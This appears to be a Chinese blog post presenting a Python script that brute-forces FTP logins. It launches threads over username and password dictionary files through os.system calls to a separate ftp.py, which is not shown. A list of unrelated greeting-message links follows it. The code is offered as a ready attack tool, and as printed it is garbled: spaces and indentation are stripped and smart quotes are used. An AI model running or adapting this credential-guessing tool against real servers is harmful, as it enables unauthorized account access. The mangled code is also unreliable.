python编写暴力破解FTP密码小工具
python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。
下面直接上代码,下面是主文件
importos importtime importthreading
classmythread(threading.Thread): def__init__(self,command): threading.Thread.__init__(self) self.command=command defrun(self): kk=os.system(self.command) ushand=open(“user.txt”,”r”) pshand=open(“passwd.txt”,”r”) listuser=[] listpass=[] forusinopen(“user.txt”,”r”): lineus=ushand.readline().strip(‘\n') listuser.append(lineus) forpsinopen(“passwd.txt”,”r”): lineps=pshand.readline().strip(‘\n') listpass.append(lineps) foriinlistuser: forjinlistpass: command=”ftp.py%s%s”%(i,j) printcommand my_thread=mythread(command) my_thread.start() time.sleep(0.1)
热门推荐
3 祝福语简短的微信
10 幼儿祝福语大全简短贺卡
11 感谢教官文案祝福语简短
12 鼠年同事祝福语简短创意
13 元旦祝福语 简短独特群发
14 妈咪跟我生日祝福语简短
15 给儿子新婚祝福语简短
16 伴娘祝福语长文案简短
17 恭喜高考完祝福语简短
18 生日祝福语送老公简短